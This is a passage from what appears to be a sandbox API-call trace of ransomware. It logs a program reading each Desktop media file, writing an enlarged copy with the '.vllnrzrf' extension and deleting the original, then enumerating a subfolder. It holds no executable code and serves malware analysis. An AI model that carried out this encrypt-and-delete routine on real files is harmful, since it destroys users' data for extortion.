HALPmcxz\\Desktop\\PtOjhzy.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ptojhzy.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.081] GetFileType (hFile=0x484) returned 0x1 [0087.081] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.081] GetFileType (hFile=0x484) returned 0x1 [0087.082] GetFileSize (in: hFile=0x484, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x436 [0087.082] ReadFile (in: hFile=0x484, lpBuffer=0x22aa430, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x22aa430*, lpNumberOfBytesRead=0x1d00e478*=0x436, lpOverlapped=0x0) returned 1 [0087.083] CloseHandle (hObject=0x484) returned 1 [0087.085] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp.vllnrzrf", lpFilePart=0x0) returned 0x3a [0087.085] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.085] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ptojhzy.bmp.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.086] GetFileType (hFile=0x484) returned 0x1 [0087.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.086] GetFileType (hFile=0x484) returned 0x1 [0087.086] WriteFile (in: hFile=0x484, lpBuffer=0x22b0968*, nNumberOfBytesToWrite=0x636, lpNumberOfBytesWritten=0x1d00e388, lpOverlapped=0x0 | out: lpBuffer=0x22b0968*, lpNumberOfBytesWritten=0x1d00e388*=0x636, lpOverlapped=0x0) returned 1 [0087.087] CloseHandle (hObject=0x484) returned 1 [0087.090] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp", lpFilePart=0x0) returned 0x31 [0087.090] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp", lpFilePart=0x0) returned 0x31 [0087.090] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PtOjhzy.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ptojhzy.bmp")) returned 1 [0087.092] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv", lpFilePart=0x0) returned 0x30 [0087.092] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv", lpFilePart=0x0) returned 0x30 [0087.092] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv", lpFilePart=0x0) returned 0x30 [0087.092] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.092] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tht7aw.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.093] GetFileType (hFile=0x484) returned 0x1 [0087.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.093] GetFileType (hFile=0x484) returned 0x1 [0087.093] GetFileSize (in: hFile=0x484, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x9b31 [0087.093] ReadFile (in: hFile=0x484, lpBuffer=0x22b2340, nNumberOfBytesToRead=0x9b31, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x22b2340*, lpNumberOfBytesRead=0x1d00e478*=0x9b31, lpOverlapped=0x0) returned 1 [0087.094] CloseHandle (hObject=0x484) returned 1 [0087.102] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv.vllnrzrf", lpFilePart=0x0) returned 0x39 [0087.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.102] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tht7aw.mkv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.103] GetFileType (hFile=0x484) returned 0x1 [0087.103] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.103] GetFileType (hFile=0x484) returned 0x1 [0087.103] WriteFile (in: hFile=0x484, lpBuffer=0x22fcea0*, nNumberOfBytesToWrite=0x9d31, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x22fcea0*, lpNumberOfBytesWritten=0x1d00e4d8*=0x9d31, lpOverlapped=0x0) returned 1 [0087.105] CloseHandle (hObject=0x484) returned 1 [0087.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv", lpFilePart=0x0) returned 0x30 [0087.106] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv", lpFilePart=0x0) returned 0x30 [0087.106] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THT7aW.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\tht7aw.mkv")) returned 1 [0087.109] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3", lpFilePart=0x0) returned 0x3c [0087.109] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3", lpFilePart=0x0) returned 0x3c [0087.109] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3", lpFilePart=0x0) returned 0x3c [0087.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.109] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uibgf7exbkxvlygoiy.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.109] GetFileType (hFile=0x484) returned 0x1 [0087.112] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.112] GetFileType (hFile=0x484) returned 0x1 [0087.112] GetFileSize (in: hFile=0x484, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0xffb5 [0087.112] ReadFile (in: hFile=0x484, lpBuffer=0x2307780, nNumberOfBytesToRead=0xffb5, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x2307780*, lpNumberOfBytesRead=0x1d00e478*=0xffb5, lpOverlapped=0x0) returned 1 [0087.114] CloseHandle (hObject=0x484) returned 1 [0087.123] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3.vllnrzrf", lpFilePart=0x0) returned 0x45 [0087.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.124] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uibgf7exbkxvlygoiy.mp3.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.125] GetFileType (hFile=0x484) returned 0x1 [0087.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.126] GetFileType (hFile=0x484) returned 0x1 [0087.126] WriteFile (in: hFile=0x484, lpBuffer=0x23608f8*, nNumberOfBytesToWrite=0x101b5, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x23608f8*, lpNumberOfBytesWritten=0x1d00e4d8*=0x101b5, lpOverlapped=0x0) returned 1 [0087.128] CloseHandle (hObject=0x484) returned 1 [0087.140] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3", lpFilePart=0x0) returned 0x3c [0087.140] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3", lpFilePart=0x0) returned 0x3c [0087.141] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\uIbgF7eXBKxvLygoiy.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\uibgf7exbkxvlygoiy.mp3")) returned 1 [0087.143] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png", lpFilePart=0x0) returned 0x3a [0087.143] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png", lpFilePart=0x0) returned 0x3a [0087.143] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png", lpFilePart=0x0) returned 0x3a [0087.143] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.143] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\umcqhw4u_u6pa w_.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.143] GetFileType (hFile=0x484) returned 0x1 [0087.143] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.144] GetFileType (hFile=0x484) returned 0x1 [0087.144] GetFileSize (in: hFile=0x484, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0x5ed0 [0087.144] ReadFile (in: hFile=0x484, lpBuffer=0x2371698, nNumberOfBytesToRead=0x5ed0, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x2371698*, lpNumberOfBytesRead=0x1d00e478*=0x5ed0, lpOverlapped=0x0) returned 1 [0087.145] CloseHandle (hObject=0x484) returned 1 [0087.153] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png.vllnrzrf", lpFilePart=0x0) returned 0x43 [0087.153] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.153] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\umcqhw4u_u6pa w_.png.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.154] GetFileType (hFile=0x484) returned 0x1 [0087.154] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.154] GetFileType (hFile=0x484) returned 0x1 [0087.154] WriteFile (in: hFile=0x484, lpBuffer=0x23a0528*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x23a0528*, lpNumberOfBytesWritten=0x1d00e4d8*=0x60d0, lpOverlapped=0x0) returned 1 [0087.155] CloseHandle (hObject=0x484) returned 1 [0087.160] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png", lpFilePart=0x0) returned 0x3a [0087.160] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png", lpFilePart=0x0) returned 0x3a [0087.160] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UMCqHw4u_u6pa w_.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\umcqhw4u_u6pa w_.png")) returned 1 [0087.162] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv", lpFilePart=0x0) returned 0x2e [0087.163] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv", lpFilePart=0x0) returned 0x2e [0087.163] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv", lpFilePart=0x0) returned 0x2e [0087.163] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.163] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wtqk.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.163] GetFileType (hFile=0x484) returned 0x1 [0087.163] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.163] GetFileType (hFile=0x484) returned 0x1 [0087.163] GetFileSize (in: hFile=0x484, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0xf689 [0087.163] ReadFile (in: hFile=0x484, lpBuffer=0x23a7150, nNumberOfBytesToRead=0xf689, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x23a7150*, lpNumberOfBytesRead=0x1d00e478*=0xf689, lpOverlapped=0x0) returned 1 [0087.164] CloseHandle (hObject=0x484) returned 1 [0087.179] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv.vllnrzrf", lpFilePart=0x0) returned 0x37 [0087.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.179] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wtqk.mkv.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.180] GetFileType (hFile=0x484) returned 0x1 [0087.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.180] GetFileType (hFile=0x484) returned 0x1 [0087.180] WriteFile (in: hFile=0x484, lpBuffer=0x220c920*, nNumberOfBytesToWrite=0xf889, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x220c920*, lpNumberOfBytesWritten=0x1d00e4d8*=0xf889, lpOverlapped=0x0) returned 1 [0087.183] CloseHandle (hObject=0x484) returned 1 [0087.185] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv", lpFilePart=0x0) returned 0x2e [0087.185] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv", lpFilePart=0x0) returned 0x2e [0087.185] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WtqK.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wtqk.mkv")) returned 1 [0087.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4", lpFilePart=0x0) returned 0x33 [0087.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4", lpFilePart=0x0) returned 0x33 [0087.231] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4", lpFilePart=0x0) returned 0x33 [0087.231] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.231] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xcecgs za.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.231] GetFileType (hFile=0x484) returned 0x1 [0087.231] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.231] GetFileType (hFile=0x484) returned 0x1 [0087.232] GetFileSize (in: hFile=0x484, lpFileSizeHigh=0x1d00e548 | out: lpFileSizeHigh=0x1d00e548*=0x0) returned 0xc168 [0087.232] ReadFile (in: hFile=0x484, lpBuffer=0x221ccd8, nNumberOfBytesToRead=0xc168, lpNumberOfBytesRead=0x1d00e478, lpOverlapped=0x0 | out: lpBuffer=0x221ccd8*, lpNumberOfBytesRead=0x1d00e478*=0xc168, lpOverlapped=0x0) returned 1 [0087.233] CloseHandle (hObject=0x484) returned 1 [0087.244] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4.vllnrzrf", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4.vllnrzrf", lpFilePart=0x0) returned 0x3c [0087.244] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e3b0) returned 1 [0087.244] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4.vllnrzrf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xcecgs za.mp4.vllnrzrf"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x484 [0087.294] GetFileType (hFile=0x484) returned 0x1 [0087.294] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1d00e320) returned 1 [0087.294] GetFileType (hFile=0x484) returned 0x1 [0087.294] WriteFile (in: hFile=0x484, lpBuffer=0x2260f88*, nNumberOfBytesToWrite=0xc368, lpNumberOfBytesWritten=0x1d00e4d8, lpOverlapped=0x0 | out: lpBuffer=0x2260f88*, lpNumberOfBytesWritten=0x1d00e4d8*=0xc368, lpOverlapped=0x0) returned 1 [0087.297] CloseHandle (hObject=0x484) returned 1 [0087.302] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4", nBufferLength=0x105, lpBuffer=0x1d00ded0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4", lpFilePart=0x0) returned 0x33 [0087.376] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4", nBufferLength=0x105, lpBuffer=0x1d00e070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4", lpFilePart=0x0) returned 0x33 [0087.376] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xcecGS za.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xcecgs za.mp4")) returned 1 [0087.379] CoUninitialize () Thread: id = 56 os_tid = 0x644 [0087.386] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0087.386] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1d00e240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0087.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1d00e6a0) returned 1 [0087.386] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", nBufferLength=0x105, lpBuffer=0x1d00e190, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb", lpFilePart=0x0) returned 0x2b [0087.387] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\", nBufferLength=0x105, lpBuffer=0x1d00e130, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\", lpFilePart=0x0) returned 0x2c [0087.387] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\efCsb\\*.*", lpFindFileData=0x1d00e340 | out: lpFindFileData=0x1d00e340*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8a9eaa40, ftCreationTime.dwHighDateTime=0x1d5e77d, ftLastAccessTime.dwLowDateTime=0xc4ba9650, ftLastAccessTime.dwHighDateTime=0x1d5e1f4, ftLastWriteTime.dwLowDateTime=0xc4ba9650, ftLastWriteTime.dwHighDateTime=0x1d5e1f4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578c60 [0087.387] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1d00e390 | out: lpFindFileData=0x1d00e390*(dwFileAttributes=0x10, 